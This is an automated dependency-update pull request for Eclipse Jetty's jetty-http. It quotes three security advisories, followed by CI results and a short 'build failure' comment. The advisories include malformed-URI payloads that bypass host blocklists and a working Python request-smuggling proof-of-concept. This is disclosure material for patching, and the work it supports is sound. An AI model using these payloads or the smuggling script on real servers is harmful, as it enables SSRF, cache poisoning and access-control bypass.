fix(deps): update dependency org.eclipse.jetty:jetty-http to v10 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
org.eclipse.jetty:jetty-http (source)	9.4.57.v20241219 → 10.0.0

---

Eclipse Jetty URI parsing of invalid authority

CVE-2024-6763 / GHSA-qh8g-58pp-2wxh

More information

Details

Summary

Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, HttpURI, for URI/URL parsing.

The HttpURI class does insufficient validation on the authority segment of a URI. However the behaviour of HttpURI differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically HttpURI and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks.

Details

Affected components

The vulnerable component is the HttpURI class when used as a utility class in an application. The Jetty usage of the class is not vulnerable.

Attack overview

The HttpURI class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@​hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI.

Attack scenario

A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI.

This attack occurs when the Validator is the org.eclipse.jetty.http.HttpURI class and the Requester is the Browser (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., http://browser.check%23%40vulndetector.com/ ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname vulndetector.com.

PoC

payloads:

http://browser.check &@​vulndetector.com/
http://browser.check #@​vulndetector.com/
http://browser.check?@​vulndetector.com/
http://browser.check#@​vulndetector.com/
http://vulndetector.com\\/

The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com".

<a href="http://browser.check#@&#8203;vulndetector.com/"></a>

A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid).

Invalid URI	Jetty	Chrome
http://browser.check &@​vulndetector.com/	vulndetector.com	browser.check
http://browser.check #@​vulndetector.com/	vulndetector.com	browser.check
http://browser.check?@​vulndetector.com/	vulndetector.com	browser.check
http://browser.check#@​vulndetector.com/	vulndetector.com	browser.check

The problem of 302 redirect parsing in HTTP 302 Location

Input	Jetty	Chrome
http://browser.check%5c/	browser.check\	browser.check

It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5].

Impact

The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to SSRF[1] and URL Redirection[2] vulnerabilities in several cases.

Mitigation

The attacks outlined above rely on decoded user data being passed to the HttpURI class. Application should not pass decoded user data as an encoded URI to any URI class/method, including HttpURI. Such applications are likely to be vulnerable in other ways.
The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per RFC9110 Section 4.2.4.

Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser).

Reference

[1] https://cwe.mitre.org/data/definitions/918.html
[2] https://cwe.mitre.org/data/definitions/601.html

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/jetty/jetty.project/security/advisories/GHSA-qh8g-58pp-2wxh
• https://nvd.nist.gov/vuln/detail/CVE-2024-6763
• https://github.com/jetty/jetty.project/pull/12012
• https://github.com/jetty/jetty.project
• https://gitlab.eclipse.org/security/cve-assignement/-/issues/25
• https://security.netapp.com/advisory/ntap-20250306-0005

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

org.eclipse.jetty:jetty-http has different parsing of invalid URIs

CVE-2025-11143 / GHSA-wjpw-4j6x-6rwh

More information

Details

The Jetty URI parser has some key differences compared to other common parsers when evaluating invalid or unusual URIs. Specifically:

Invalid Scheme

URI	Jetty	uri-js (nodejs)	node-url(nodejs)
https>://vulndetector.com/path	scheme=http>	scheme=https	invalid URI

Improper IPv4 mapped IPv6

URI	Jetty	System.Uri(CSharp)	curl(C)
http://[0:0:0:0:0:ffff:127.0.0.1]	invalid	host=[::ffff:127.0.0.1]	host=[::ffff:127.0.0.1]
http://[::ffff:255.255.0.0]	invalid	host=[::ffff:255.255.0.0]	host=[::ffff:255.255.0.0]

Incorrect IPv6 delimeter priority

URI	Jetty	urllib3(python)	furl(python)	Spring	chromium
http://[normal.com@]vulndetector.com/	host=[normal.com@]	invalid	invalid
http://normal.com[user@vulndetector].com/	host=`[noirmal.com@vulndetector			host=normal.com	invalid
http://normal.com[@​]vulndetector.com/	host=`normal.com[@​]			host=normal.com	invalid

Incorrect delimeter priority

URI	Jetty	urllib3(python)	jersey
http://normal.com/#@​vulndetector.com	host=vulndetector.com	host=normal.com	host=normal.com
http://normal.com/?@​vulndetector.com	host=vulndetector.com	host=normal.com	host=normal.com

Impact

Differential parsing of URIs in systems using multiple components may result in security by-pass. For example a component that enforces a black list may interpret the URIs differently from one that generates a response.
At the very least, differential parsing may divulge implementation details.

Patches

Patched in Supported Open Source versions.

• 12.1.5 - Supported and available on Maven Central
• 12.0.31 - Supported and available on Maven Central
• 11.0.x - EOL Release, patches available on tuxcare and herodevs
• 10.0.x - EOL Release, patches available on tuxcare and herodevs
• 9.4.x - EOL Release, patches available on tuxcare and herodevs

Workarounds

None

Resources

• Java Eclipse Jetty Report_ Incorrect Parsing Priority of the IPv6 Hostname Delimeter.pdf
• Java Eclipse Jetty Report_ The Parsing Priority of the Delimiter.pdf
• Java Eclipse Jetty Report_ Parsing Difference Due to Deformed Scheme.pdf
• Java Eclipse Jetty Report_ Improper IPv4-mapped IPv6 Parsing.pdf

Severity

• CVSS Score: 3.7 / 10 (Low)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

• https://github.com/jetty/jetty.project/security/advisories/GHSA-wjpw-4j6x-6rwh
• https://nvd.nist.gov/vuln/detail/CVE-2025-11143
• https://github.com/jetty/jetty.project
• https://github.com/user-attachments/files/22222625/Java.Eclipse.Jetty.Report_.Incorrect.Parsing.Priority.of.the.IPv6.Hostname.Delimeter.pdf
• https://github.com/user-attachments/files/22222626/Java.Eclipse.Jetty.Report_.The.Parsing.Priority.of.the.Delimiter.pdf
• https://github.com/user-attachments/files/22222627/Java.Eclipse.Jetty.Report_.Parsing.Difference.Due.to.Deformed.Scheme.pdf
• https://github.com/user-attachments/files/22222630/Java.Eclipse.Jetty.Report_.Improper.IPv4-mapped.IPv6.Parsing.pdf

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

CVE-2026-2332 / GHSA-355h-qmc2-wpwf

More information

Details

Description (as reported)

Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques:

• https://w4ke.info/2025/06/18/funky-chunks.html
• https://w4ke.info/2025/10/29/funky-chunks-2.html

The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.

Technical Details

RFC 9112 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

A quoted-string continues until the closing DQUOTE, and \r\n sequences are not permitted within the quotes.

Vulnerability

Jetty terminates chunk header parsing at \r\n inside quoted strings instead of treating this as an error.

Expected (RFC compliant):

Chunk: 1;a="value\r\nhere"\r\n
         ^^^^^^^^^^^^^^^^^^ extension value
Body: [1 byte after the real \r\n]

Actual (jetty):

Chunk: 1;a="value
            ^^^^^ terminates here (WRONG)
Body: here"... treated as body/next request

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: Server returns 2 HTTP responses from a single TCP connection.

Parsing Breakdown

Parser	Request 1	Request 2
jetty (vulnerable)	POST / body="X"	GET /smuggled (SMUGGLED!)
RFC compliant	POST / body="Y"	(none - smuggled request hidden in extension)

Impact

• Request Smuggling: Attacker injects arbitrary HTTP requests
• Cache Poisoning: Smuggled responses poison shared caches
• Access Control Bypass: Smuggled requests bypass frontend security
• Session Hijacking: Smuggled requests can steal other users' responses

Reproduction

1. Start the minimal POC with docker
2. Run the poc script provided in same zip

Suggested Fix

Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112.
A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.

Patches

No patches yet.

Workarounds

No workarounds yet.

References

• RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)
• Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html
• details for security versions https://jetty.org/security.html

Severity

• CVSS Score: 7.4 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

• https://github.com/jetty/jetty.project/security/advisories/GHSA-355h-qmc2-wpwf
• https://nvd.nist.gov/vuln/detail/CVE-2026-2332
• https://github.com/jetty/jetty.project
• https://gitlab.eclipse.org/security/cve-assignment/-/issues/89
• https://w4ke.info/2025/06/18/funky-chunks.html

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Configuration

📅 Schedule: (in timezone America/New_York)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[github-actions]

Test Results

654 tests  ±0   654 ✅ ±0   3m 12s ⏱️ +30s
108 suites ±0     0 💤 ±0 
108 files   ±0     0 ❌ ±0 

Results for commit 307a0dd. ± Comparison against base commit ac47cc8.

♻️ This comment has been updated with latest results.

[jonbartels]

build failure